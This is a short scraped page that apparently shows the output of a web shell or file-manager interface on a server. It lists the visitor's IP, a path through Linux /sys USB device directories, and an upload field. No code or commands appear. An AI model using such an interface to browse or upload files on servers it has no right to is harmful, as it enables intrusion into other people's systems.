????
Your IP : 3.138.190.225
Current Path :
/
sys
/
class
/
ptp
/
ptp0
/
device
/
iommu_group
/
devices
/
0000:02:00.0
/
usb2
/
Upload File :
Current File : //sys/class/ptp/ptp0/device/iommu_group/devices/0000:02:00.0/usb2/bDeviceClass
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